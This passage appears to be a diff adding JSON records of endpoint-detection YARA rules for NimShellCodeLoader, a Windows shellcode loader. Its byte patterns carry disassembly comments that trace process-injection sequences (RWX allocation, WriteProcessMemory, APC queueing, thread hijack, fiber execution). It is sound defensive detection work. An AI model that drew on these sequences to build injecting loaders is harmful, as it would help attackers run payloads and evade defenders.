90                                            // nop\n        }\n\n    condition:\n        (all of ($enum_child_windows_s*) and 1 of ($enum_child_windows_x*)) or\n        (all of ($enum_desktopw_s*) and 1 of ($enum_desktopw_x*)) or\n        (all of ($enum_desktop_windows_s*) and 1 of ($enum_desktop_windows_x*)) or\n        (all of ($enum_dir_tree_s*) and 1 of ($enum_dir_tree_x*)) or\n        (all of ($enum_display_monitors_s*) and 1 of ($enum_display_monitors_x*)) or\n        (all of ($enum_font_familiesex_s*) and 1 of ($enum_font_familiesex_x*)) or\n        (all of ($enum_font_familiesw_s*) and 1 of ($enum_font_familiesw_x*)) or\n        (all of ($enum_fontsw_s*) and 1 of ($enum_fontsw_x*)) or\n        (all of ($enum_language_group_localesw_s*) and 1 of ($enum_language_group_localesw_x*)) or\n        (all of ($enum_objects_s*) and 1 of ($enum_objects_x*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nimshellcodeloader_59dbafdddef1"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.NimShellCodeLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567",
+    "attack.t1005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nimshellcodeloader_be89caf9af0f_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582692Z",
+  "creation_date": "2026-03-23T11:46:25.582695Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582704Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/aeverj/NimShellCodeLoader\nhttps://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671"
+  ],
+  "name": "nimshellcodeloader_be89caf9af0f.yar",
+  "content": "rule nimshellcodeloader_be89caf9af0f {\n    meta:\n        title = \"NimShellCodeLoader (be89caf9af0f)\"\n        id = \"44251f54-5e87-46c0-b7bd-be89caf9af0f\"\n        description = \"Detects NimShellCodeLoader, a shellcode loader for Windows.\\nNimShellCodeLoader is a sophisticated malware tool designed to inject and execute shellcode within processes on Windows systems.\\nIt employs various techniques including timer queue timers, thread injection, APC injection, and event-driven mechanisms to establish persistence and execute malicious payloads.\\nThe tool is often used in attacks to bypass process integrity checks and maintain stealth.\"\n        references = \"https://github.com/aeverj/NimShellCodeLoader\\nhttps://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1005;attack.exfiltration;attack.t1567\"\n        classification = \"Windows.Loader.NimShellCodeLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d34bc5060dd7e433bd11f16fb7f2ef289511476a2ba32721078483fbc0372024\n        // 41f40f8bbaeaeb811e5a9f8ba7870e6165fc749fe1121d09da30b127291ef351\n        // 40f8ca4c9f19d0330e42c98b9d0396b9f0caf191c6a544df4e4edb6837ed542c\n        // ff261192a1defd66fcd5924e04c04cf255859beda3a02bb58dfe6d3e211d9c04\n\n        // CreateTimerQueueTimer_Tech.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/CreateTimerQueueTimer_Tech.nim\n        $create_timer_queue_timer_tech_s1 = \"parseHexStr\" ascii fullword\n        $create_timer_queue_timer_tech_s2 = \"WaitForSingleObject failed (%d)\\n\" ascii fullword\n\n        $create_timer_queue_timer_tech_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB ??                                         // jmp     short sub_140006F81\n\n                                        // sub_140006FA9\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14002C580\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14002C570\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $create_timer_queue_timer_tech_x2 = {\n            48 83 EC ??                                   // sub     rsp, 50h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            [6]\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            [6]\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            48 89 C3                                      // mov     rbx, rax\n            E8 ?? ?? ?? 00                                // call    memmove\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CreateTimerQueue\n            45 31 C9                                      // xor     r9d, r9d        ; lpName\n            45 31 C0                                      // xor     r8d, r8d        ; bInitialState\n            31 C9                                         // xor     ecx, ecx        ; lpEventAttributes\n            [3]\n            BA 01 00 00 00                                // mov     edx, 1          ; bManualReset\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CreateEventA\n            [25]\n            C7 44 24 28 00 00 00 00                       // mov     [rsp+68h+Period], 0 ; Period\n            C7 44 24 20 64 00 00 00                       // mov     [rsp+68h+DueTime], 64h ; 'd' ; DueTime\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CreateTimerQueueTimer\n            85 C0                                         // test    eax, eax\n            75 0C                                         // jnz     short loc_40807D\n            48 8D 0D ?? ?? ?? 00                          // lea     rcx, aFail      ; \"Fail\"\n            E8 ?? ?? ?? 00                                // call    sub_41D100\n        }\n\n        // OEP_Hiijack_Inject_Load.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/OEP_Hiijack_Inject_Load.nim\n        $oep_hiijack_inject_load_s1 = \"parseHexStr\" ascii fullword\n        $oep_hiijack_inject_load_s2 = \"ResumeThread\" ascii fullword\n\n        $oep_hiijack_inject_load_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140007057\n\n                                        // sub_14000707F\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_14002C560\n            48 63 10                                      // movsxd  rdx, dword ptr [rax]\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_14002C550\n            48 8B 08                                      // mov     rcx, [rax]\n            E9 ?? ?? FF FF                                // jmp     sub_140006ED0\n\n                                        // sub_140007098\n            EB E5                                         // jmp     short sub_14000707F\n        }\n\n        $oep_hiijack_inject_load_x2 = {\n            48 8D 44 24 60                                // lea     rax, [rsp+28h+ProcessInformation]\n            48 C7 44 24 38 00 00 00 00                    // mov     [rsp+28h+lpCurrentDirectory], 0 ; lpCurrentDirectory\n            48 8D BC 24 20 01 00 00                       // lea     rdi, [rsp+28h+arg_F0]\n            48 89 44 24 48                                // mov     [rsp+28h+lpProcessInformation], rax ; lpProcessInformation\n            48 8D 84 24 A8 00 00 00                       // lea     rax, [rsp+28h+StartupInfo]\n            48 89 44 24 40                                // mov     [rsp+28h+lpStartupInfo], rax ; lpStartupInfo\n            48 C7 44 24 30 00 00 00 00                    // mov     [rsp+28h+lpEnvironment], 0 ; lpEnvironment\n            C7 44 24 28 04 00 00 00                       // mov     dword ptr [rsp+28h], 4 ; dwCreationFlags\n            C7 44 24 20 00 00 00 00                       // mov     [rsp+28h+bInheritHandles], 0 ; bInheritHandles\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CreateProcessA\n            48 8D 44 24 54                                // lea     rax, [rsp+28h+ReturnLength]\n            48 8B 4C 24 60                                // mov     rcx, [rsp+28h+ProcessInformation.hProcess] ; ProcessHandle\n            31 D2                                         // xor     edx, edx        ; ProcessInformationClass\n            48 89 44 24 20                                // mov     qword ptr [rsp+28h+bInheritHandles], rax ; ReturnLength\n            4C 8D 44 24 78                                // lea     r8, [rsp+28h+arg_48] ; ProcessInformation\n            41 B9 30 00 00 00                             // mov     r9d, 30h ; '0'  ; ProcessInformationLength\n            E8 ?? ?? ?? 00                                // call    NtQueryInformationProcess\n            48 8B 4C 24 60                                // mov     rcx, [rsp+28h+ProcessInformation.hProcess] ; hProcess\n            4C 8D 44 24 58                                // lea     r8, [rsp+28h+Buffer] ; lpBuffer\n            48 8B 84 24 80 00 00 00                       // mov     rax, [rsp+28h+arg_50]\n            4C 8B 25 ?? ?? ?? 00                          // mov     r12, cs:__imp_ReadProcessMemory\n            41 B9 08 00 00 00                             // mov     r9d, 8          ; nSize\n            48 C7 44 24 58 00 00 00 00                    // mov     [rsp+28h+Buffer], 0\n            48 C7 44 24 20 00 00 00 00                    // mov     qword ptr [rsp+28h+bInheritHandles], 0 ; lpNumberOfBytesRead\n            48 8D 50 10                                   // lea     rdx, [rax+10h]  ; lpBaseAddress\n            41 FF D4                                      // call    r12 ; __imp_ReadProcessMemory\n            89 D8                                         // mov     eax, ebx\n            B9 FC 03 00 00                                // mov     ecx, 3FCh\n            48 8B 54 24 58                                // mov     rdx, [rsp+28h+Buffer] ; lpBaseAddress\n            F3 AB                                         // rep stosd\n            4C 8D 84 24 10 01 00 00                       // lea     r8, [rsp+28h+arg_E0] ; lpBuffer\n            48 8B 4C 24 60                                // mov     rcx, [rsp+28h+ProcessInformation.hProcess] ; hProcess\n            48 C7 84 24 10 01 00 00 00 00 00 00           // mov     [rsp+28h+arg_E0], 0\n            48 C7 44 24 20 00 00 00 00                    // mov     qword ptr [rsp+28h+bInheritHandles], 0 ; lpNumberOfBytesRead\n            41 B9 00 10 00 00                             // mov     r9d, 1000h      ; nSize\n            48 C7 84 24 18 01 00 00 00 00 00 00           // mov     [rsp+28h+arg_E8], 0\n            41 FF D4                                      // call    r12 ; __imp_ReadProcessMemory\n            48 8B 4C 24 60                                // mov     rcx, [rsp+28h+ProcessInformation.hProcess] ; hProcess\n            49 89 E9                                      // mov     r9, rbp         ; nSize\n            49 89 F0                                      // mov     r8, rsi         ; lpBuffer\n            48 63 84 24 4C 01 00 00                       // movsxd  rax, [rsp+28h+arg_11C]\n            8B 94 04 38 01 00 00                          // mov     edx, [rsp+rax+28h+arg_108]\n            48 03 54 24 58                                // add     rdx, [rsp+28h+Buffer] ; lpBaseAddress\n            48 C7 44 24 20 00 00 00 00                    // mov     qword ptr [rsp+28h+bInheritHandles], 0 ; lpNumberOfBytesWritten\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_WriteProcessMemory\n            48 8B 4C 24 68                                // mov     rcx, [rsp+28h+ProcessInformation.hThread] ; hThread\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_ResumeThread\n            31 C0                                         // xor     eax, eax\n            48 81 C4 10 11 00 00                          // add     rsp, 1110h\n        }\n\n        // Thread_Hiijack_Inject_Load.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/Thread_Hiijack_Inject_Load.nim\n        $thread_hiijack_inject_load_s1 = \"parseHexStr\" ascii fullword\n        $thread_hiijack_inject_load_s2 = \"Thread32First\" ascii fullword\n\n        $thread_hiijack_inject_load_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140007057\n\n                                        // sub_14000707F\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_14002C560\n            48 63 10                                      // movsxd  rdx, dword ptr [rax]\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_14002C550\n            48 8B 08                                      // mov     rcx, [rax]\n            E9 ?? ?? FF FF                                // jmp     sub_140006ED0\n\n                                        // sub_140007098\n            EB E5                                         // jmp     short sub_14000707F\n        }\n\n        $thread_hiijack_inject_load_x2 = {\n            8B 7C 24 58                                   // mov     edi, [rsp+688h+pe.th32ProcessID]\n            31 D2                                         // xor     edx, edx        ; bInheritHandle\n            C7 84 24 B0 01 00 00 0B 00 10 00              // mov     [rsp+688h+Context.ContextFlags], 10000Bh\n            B9 FF 0F 1F 00                                // mov     ecx, 1F0FFFh    ; dwDesiredAccess\n            C7 44 24 34 1C 00 00 00                       // mov     [rsp+688h+te.dwSize], 1Ch\n            41 89 F8                                      // mov     r8d, edi        ; dwProcessId\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_OpenProcess\n            49 89 F0                                      // mov     r8, rsi         ; dwSize\n            31 D2                                         // xor     edx, edx        ; lpAddress\n            41 B9 00 30 00 00                             // mov     r9d, 3000h      ; flAllocationType\n            49 89 C5                                      // mov     r13, rax\n            C7 44 24 20 40 00 00 00                       // mov     [rsp+688h+flProtect], 40h ; '@' ; flProtect\n            48 89 C1                                      // mov     rcx, rax        ; hProcess\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAllocEx\n            49 89 F1                                      // mov     r9, rsi         ; nSize\n            48 8D 74 24 34                                // lea     rsi, [rsp+688h+te]\n            4C 89 E9                                      // mov     rcx, r13        ; hProcess\n            48 C7 44 24 20 00 00 00 00                    // mov     qword ptr [rsp+688h+flProtect], 0 ; lpNumberOfBytesWritten\n            48 89 C3                                      // mov     rbx, rax\n            49 89 E8                                      // mov     r8, rbp         ; lpBuffer\n            48 89 C2                                      // mov     rdx, rax        ; lpBaseAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_WriteProcessMemory\n            48 89 F2                                      // mov     rdx, rsi        ; lpte\n            4C 89 E1                                      // mov     rcx, r12        ; hSnapshot\n            E8 ?? ?? ?? 00                                // call    Thread32First\n            EB 20                                         // jmp     short loc_140006FC0\n        }\n\n        // APC_Ijnect_Load.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/APC_Ijnect_Load.nim\n        $apc_inject_load_s1 = \"parseHexStr\" ascii fullword\n        $apc_inject_load_s2 = \"QueueUserAPC\" ascii fullword\n\n        $apc_inject_load_x1 = {\n            48 8D 4C 24 38                                // lea     rcx, [rsp+1D8h+var_1A0]\n            E8 ?? ?? ?? 00                                // call    sub_14002B080\n            31 C0                                         // xor     eax, eax\n            48 81 C4 A0 01 00 00                          // add     rsp, 1A0h\n            5B                                            // pop     rbx\n            5E                                            // pop     rsi\n            5F                                            // pop     rdi\n            5D                                            // pop     rbp\n            41 5C                                         // pop     r12\n            41 5D                                         // pop     r13\n            41 5E                                         // pop     r14\n            C3                                            // retn\n\n                                        // sub_1400070D3\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_140036C70\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; nSize\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_140036C60\n            48 8B 08                                      // mov     rcx, [rax]      ; lpBuffer\n            E9 ?? ?? FF FF                                // jmp     sub_140006EF8\n\n                                        // sub_1400070EC\n            EB E5                                         // jmp     short sub_1400070D3\n        }\n\n        $apc_inject_load_x2 = {\n                                        // loc_140007072\n            48 39 DF                                      // cmp     rdi, rbx\n            74 3E                                         // jz      short loc_1400070B5\n            44 8B 03                                      // mov     r8d, [rbx]      ; dwThreadId\n            BA 01 00 00 00                                // mov     edx, 1          ; bInheritHandle\n            B9 FF 03 1F 00                                // mov     ecx, 1F03FFh    ; dwDesiredAccess\n            FF D5                                         // call    rbp ; __imp_OpenThread\n            48 89 C2                                      // mov     rdx, rax        ; hThread\n            45 31 C0                                      // xor     r8d, r8d        ; dwData\n            48 89 F1                                      // mov     rcx, rsi        ; pfnAPC\n            41 FF D4                                      // call    r12 ; __imp_QueueUserAPC\n            B9 D0 07 00 00                                // mov     ecx, 7D0h       ; dwMilliseconds\n            41 FF D5                                      // call    r13 ; __imp_Sleep\n            48 83 C3 04                                   // add     rbx, 4\n            EB D2                                         // jmp     short loc_140007072\n        }\n\n        // Early_Bird_APC_Injetc_Load.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/Early_Bird_APC_Injetc_Load.nim\n        $early_bird_apc_injetc_load_s1 = \"parseHexStr\" ascii fullword\n        $early_bird_apc_injetc_load_s2 = \"QueueUserAPC\" ascii fullword\n\n        $early_bird_apc_injetc_load_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140007057\n\n                                        // sub_14000707F\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_14002C560\n            48 63 10                                      // movsxd  rdx, dword ptr [rax]\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_14002C550\n            48 8B 08                                      // mov     rcx, [rax]\n            E9 ?? ?? FF FF                                // jmp     sub_140006ED0\n\n                                        // sub_140007098\n            EB E5                                         // jmp     short sub_14000707F\n        }\n\n        $early_bird_apc_injetc_load_x2 = {\n            48 C7 44 24 38 00 00 00 00                    // mov     [rsp+108h+lpCurrentDirectory], 0 ; lpCurrentDirectory\n            48 89 44 24 48                                // mov     [rsp+108h+lpProcessInformation], rax ; lpProcessInformation\n            48 8D 44 24 68                                // lea     rax, [rsp+108h+StartupInfo]\n            48 89 44 24 40                                // mov     [rsp+108h+lpStartupInfo], rax ; lpStartupInfo\n            48 C7 44 24 30 00 00 00 00                    // mov     [rsp+108h+lpEnvironment], 0 ; lpEnvironment\n            C7 44 24 28 04 00 00 00                       // mov     [rsp+108h+dwCreationFlags], 4 ; dwCreationFlags\n            C7 44 24 20 00 00 00 00                       // mov     [rsp+108h+bInheritHandles], 0 ; bInheritHandles\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_CreateProcessA\n            4C 8B 74 24 50                                // mov     r14, [rsp+108h+ProcessInformation.hProcess]\n            49 89 D8                                      // mov     r8, rbx         ; dwSize\n            31 D2                                         // xor     edx, edx        ; lpAddress\n            4C 8B 6C 24 58                                // mov     r13, [rsp+108h+ProcessInformation.hThread]\n            C7 44 24 20 40 00 00 00                       // mov     [rsp+108h+bInheritHandles], 40h ; '@' ; flProtect\n            41 B9 00 10 00 00                             // mov     r9d, 1000h      ; flAllocationType\n            4C 89 F1                                      // mov     rcx, r14        ; hProcess\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAllocEx\n            49 89 D9                                      // mov     r9, rbx         ; nSize\n            49 89 F0                                      // mov     r8, rsi         ; lpBuffer\n            4C 89 F1                                      // mov     rcx, r14        ; hProcess\n            48 C7 44 24 20 00 00 00 00                    // mov     qword ptr [rsp+108h+bInheritHandles], 0 ; lpNumberOfBytesWritten\n            49 89 C4                                      // mov     r12, rax\n            48 89 C2                                      // mov     rdx, rax        ; lpBaseAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_WriteProcessMemory\n            45 31 C0                                      // xor     r8d, r8d        ; dwData\n            4C 89 EA                                      // mov     rdx, r13        ; hThread\n            4C 89 E1                                      // mov     rcx, r12        ; pfnAPC\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_QueueUserAPC\n            4C 89 E9                                      // mov     rcx, r13        ; hThread\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_ResumeThread\n            31 C0                                         // xor     eax, eax\n            48 81 C4 D8 00 00 00                          // add     rsp, 0D8h\n        }\n\n        // Direct_Load.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/Direct_Load.nim\n        $direct_load_s1 = \"parseHexStr\" ascii fullword\n\n        $direct_load_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140001B58\n            E8 ?? ?? FF FF                                // call    sub_1400056FD\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_1400063F3\n\n                                        // sub_14000641B\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_1400CC780\n            48 63 10                                      // movsxd  rdx, dword ptr [rax]\n            48 8B ?? ?? ?? ?? 00                          // mov     rax, cs:off_1400CC770\n            48 8B 08                                      // mov     rcx, [rax]\n            EB 8B                                         // jmp     short sub_1400063BC\n\n                                        // sub_140006431\n            EB E8                                         // jmp     short sub_14000641B\n        }\n\n        $direct_load_x2 = {\n            41 54                                         // push    r12\n            57                                            // push    rdi\n            56                                            // push    rsi\n            48 83 EC 20                                   // sub     rsp, 20h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 30 00 00                             // mov     r8d, 3000h      ; flAllocationType\n            49 89 D4                                      // mov     r12, rdx\n            48 89 CE                                      // mov     rsi, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            4C 89 E1                                      // mov     rcx, r12\n            48 89 C7                                      // mov     rdi, rax\n            F3 A4                                         // rep movsb\n            FF D0                                         // call    rax\n            31 C0                                         // xor     eax, eax\n            48 83 C4 20                                   // add     rsp, 20h\n            5E                                            // pop     rsi\n            5F                                            // pop     rdi\n            41 5C                                         // pop     r12\n            C3                                            // retn\n        }\n\n        // Thread_Pool_Wait.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/Thread_Pool_Wait.nim\n        $thread_pool_wait_s1 = \"parseHexStr\" ascii fullword\n        $thread_pool_wait_s2 = \"CreateThreadpoolWait\" ascii fullword\n        $thread_pool_wait_s3 = \"SetThreadpoolWait\" ascii fullword\n\n        $thread_pool_wait_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140006063\n            E8 ?? ?? FF FF                                // call    sub_140006420\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_1400068DF\n\n                                        // sub_140006907\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14001D8C0\n            8B 10                                         // mov     edx, [rax]      ; argv\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14001D8B0\n            48 8B 08                                      // mov     rcx, [rax]      ; argc\n            E8 ?? ?? FF FF                                // call    main\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            E9 ?? ?? FF FF                                // jmp     sub_140006014\n        }\n\n        $thread_pool_wait_x2 = {\n            89 D9                                         // mov     ecx, ebx\n            48 89 C7                                      // mov     rdi, rax\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14001D660\n            45 31 C9                                      // xor     r9d, r9d\n            F3 A4                                         // rep movsb\n            31 D2                                         // xor     edx, edx\n            41 B8 01 00 00 00                             // mov     r8d, 1\n            FF 10                                         // call    qword ptr [rax] ; CreateEventW\n            45 31 C0                                      // xor     r8d, r8d\n            31 D2                                         // xor     edx, edx\n            4C 89 E1                                      // mov     rcx, r12\n            49 89 C5                                      // mov     r13, rax\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14001D640\n            FF 10                                         // call    qword ptr [rax] ; CreateThreadPoolWait\n            4C 89 EA                                      // mov     rdx, r13\n            45 31 C0                                      // xor     r8d, r8d\n            48 89 C1                                      // mov     rcx, rax\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14001D650\n            FF 10                                         // call    qword ptr [rax] ; SetThreadpoolWait\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14001D630\n            83 CA FF                                      // or      edx, 0FFFFFFFFh\n            4C 89 E9                                      // mov     rcx, r13\n            48 8B 00                                      // mov     rax, [rax]\n            48 83 C4 20                                   // add     rsp, 20h\n            5B                                            // pop     rbx\n            5E                                            // pop     rsi\n            5F                                            // pop     rdi\n            41 5C                                         // pop     r12\n            41 5D                                         // pop     r13\n            48 FF E0                                      // jmp     rax ; WaitForSingleObject\n        }\n\n        // Fiber_Load.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/Fiber_Load.ni\n        $fiber_load_s1 = \"parseHexStr\" ascii fullword\n        $fiber_load_s2 = \"ConvertThreadToFiber\" ascii fullword\n        $fiber_load_s3 = \"SwitchToFiber\" ascii fullword\n\n        $fiber_load_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_14000521B\n            E8 ?? ?? FF FF                                // call    sub_1400055E0\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140005CBF\n\n                                        // sub_140005CE7\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14005CA00\n            8B 10                                         // mov     edx, [rax]      ; argv\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14005C9F0\n            48 8B 08                                      // mov     rcx, [rax]      ; argc\n            E8 ?? ?? FF FF                                // call    main\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            E9 ?? ?? FF FF                                // jmp     sub_1400051CC\n        }\n\n        $fiber_load_x2 = {\n            89 D9                                         // mov     ecx, ebx\n            48 89 C7                                      // mov     rdi, rax\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14005C790\n            F3 A4                                         // rep movsb\n            FF 10                                         // call    qword ptr [rax] ; ConvertThreadToFiber\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14005C770\n            4C 89 E2                                      // mov     rdx, r12\n            45 31 C0                                      // xor     r8d, r8d\n            4C 89 E9                                      // mov     rcx, r13\n            FF 10                                         // call    qword ptr [rax] ; CreateFiber\n            49 89 C4                                      // mov     r12, rax\n            48 89 C1                                      // mov     rcx, rax\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14005C7A0\n            FF 10                                         // call    qword ptr [rax] ; SwitchToFiber\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14005C780\n            4C 89 E1                                      // mov     rcx, r12\n            48 8B 00                                      // mov     rax, [rax]\n            48 83 C4 20                                   // add     rsp, 20h\n            5B                                            // pop     rbx\n            5E                                            // pop     rsi\n            5F                                            // pop     rdi\n            41 5C                                         // pop     r12\n            41 5D                                         // pop     r13\n            48 FF E0                                      // jmp     rax             ; DeleteFiber\n        }\n\n        // CertEnumSystemStore.nim\n        // https://github.com/aeverj/NimShellCodeLoader/blob/master/CertEnumSystemStore.nim\n        $cert_enum_system_store_s1 = \"parseHexStr\" ascii fullword\n        $cert_enum_system_store_s2 = \"CertEnumSystemStore\" ascii fullword\n\n        $cert_enum_system_store_x1 = {\n            48 83 EC 28                                   // sub     rsp, 28h\n            E8 ?? ?? FF FF                                // call    sub_140002A38\n            E8 ?? ?? FF FF                                // call    sub_14000655E\n            90                                            // nop\n            48 83 C4 28                                   // add     rsp, 28h\n            EB D8                                         // jmp     short sub_140006F13\n\n                                        // sub_140006F3B\n            48 83 EC 28                                   // sub     rsp, 28h\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D200\n            48 63 10                                      // movsxd  rdx, dword ptr [rax] ; Size\n            48 8B 05 ?? ?? ?? 00                          // mov     rax, cs:off_14006D1F0\n            48 8B 08                                      // mov     rcx, [rax]      ; Src\n            E8 ?? ?? FF FF                                // call    sub_140006ED0\n            90                                            // nop\n        }\n\n        $cert_enum_system_store_x2 = {\n            41 54                                         // push    r12\n            53                                            // push    rbx\n            48 83 EC 28                                   // sub     rsp, 28h\n            41 B9 40 00 00 00                             // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00                             // mov     r8d, 1000h      ; flAllocationType\n            48 89 D3                                      // mov     rbx, rdx\n            49 89 CC                                      // mov     r12, rcx\n            31 C9                                         // xor     ecx, ecx        ; lpAddress\n            FF 15 ?? ?? ?? 00                             // call    cs:__imp_VirtualAlloc\n            49 89 D8                                      // mov     r8, rbx         ; Size\n            4C 89 E2                                      // mov     rdx, r12        ; Src\n            48 89 C1                                      // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? 00                                // call    memmove\n            45 31 C0                                      // xor     r8d, r8d        ; pvArg\n            31 D2                                         // xor     edx, edx        ; pvSystemStoreLocationPara\n            B9 00 00 01 00                                // mov     ecx, 10000h     ; dwFlags\n            49 89 C1                                      // mov     r9, rax         ; pfnEnum\n            FF 15 ?? ?? ?? 00                             // call    